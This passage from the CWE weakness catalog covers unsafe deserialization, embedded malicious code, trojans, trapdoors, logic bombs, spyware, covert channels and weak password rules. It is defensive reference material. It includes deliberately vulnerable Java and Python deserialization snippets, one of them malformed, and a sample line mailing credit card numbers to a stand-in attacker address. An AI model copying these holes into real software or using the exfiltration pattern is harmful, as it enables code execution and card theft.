Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Example Language: Java *(bad)*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java *(good)*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python *(bad)*

```
try {
    class ExampleProtocol(protocol.Protocol):
    def dataReceived(self, data):
    # Code that would be here would parse the incoming data
    # After receiving headers, call confirmAuth() to authenticate
    def confirmAuth(self, headers):
    try:
    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
    if not check_hmac(token['signature'], token['data'], getSecretKey()):
    raise AuthFail
    self.secure_data = token['data']
    except:
    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

Reference	Description
CVE-2019-12799	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12799*
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8103*

Reference	Description
CVE-2015-4852	Deserialization issue in commonly-used Java library allows remote execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4852*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465*
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520*
CVE-2012-4406	Unsafe deserialization using pickle in a Python script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4406*
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0791*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957
MemberOf	C	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	1026	1978
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	1991
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)	SER01-J		Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SER06-J		Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER08-J		Do not use the default serialized form for implementation defined invariants
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
586	Object Injection

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-461]Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015 October 8. < http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478 >.

[REF-462]Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015 August 7. < http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing >.

[REF-463]Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015 January 8. < http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles >.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < http://heine.familiedeelstra.com/security/unserialize >.

[REF-465]Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010 April 6. < http://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication >.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < http://nadiana.com/python-pickle-insecure >.

[REF-467]Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011 March 0. < https://blog.nelhage.com/2011/03/exploiting-pickle/ >.

[REF-468]Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016 March 1. < https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization >.

CWE-506: Embedded Malicious Code

Weakness ID : 506 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The application contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that

performs a useful service but exploits rights of the program's user in a way the user does not intend.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	507	Trojan Horse	1079
ParentOf	B	510	Trapdoor	1082
ParentOf	B	511	Logic/Time Bomb	1084
ParentOf	B	512	Spyware	1085

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Demonstrative Examples

Example 1:

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java *(bad)*

```
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ...
    mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

CWE-507: Trojan Horse

Weakness ID : 507 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1077
ParentOf	B	508	Non-Replicating Malicious Code	1080
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1081

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Integrity Availability		

Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Notes

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trojan Horse

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-508: Non-Replicating Malicious Code

Weakness ID : 508 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1079

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software can help mitigate known malicious code.

Phase: Installation

Verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Non-Replicating

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID : 509 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1079

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software scans for viruses or worms.

Phase: Installation

Always verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Replicating (virus)

CWE-510: Trapdoor

Weakness ID : 510 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1077

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution Forced Path Execution Debugger Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Cost effective for partial coverage: Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trapdoor

CWE-511: Logic/Time Bomb

Weakness ID : 511 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1077

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Demonstrative Examples

Example 1:

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Logic/Time Bomb

References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

CWE-512: Spyware

Weakness ID : 512 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	506	Embedded Malicious Code	1077

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Operation

Use spyware detection and removal software.

Phase: Installation

Always verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927

CWE-514: Covert Channel

Weakness ID : 514 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1229	Creation of Emergent Resource	1745
ParentOf	B	385	Covert Timing Channel	842
ParentOf	B	515	Covert Storage Channel	1087
CanFollow	B	205	Observable Behavioral Discrepancy	485

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = SOAR Partial

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	1944

Notes

Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Covert Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-515: Covert Storage Channel

Weakness ID : 515 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	514	Covert Channel	1086

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	Covert storage channels may provide attackers with important information about the system in question.	
Integrity Confidentiality	Read Application Data *If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.*	

Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative Examples

Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	1944

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Storage
CLASP			Covert storage channel

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks

within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Operation

Run the application with limited privilege to the underlying operating and file system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

CWE-521: Weak Password Requirements

Weakness ID : 521 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ParentOf	V	258	Empty Password in Configuration File	567

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could easily guess user passwords and gain access user accounts.*	

Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting

password or passpharse may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf Sections: 5.1.1, 10.2.1, and Appendix A for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
112	Brute Force

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1053]NIST. "Digital Identity Guidelines (SP 800-63B)". 2017 June. < https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf >.

CWE-522: Insufficiently Protected Credentials

Weakness ID : 522 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

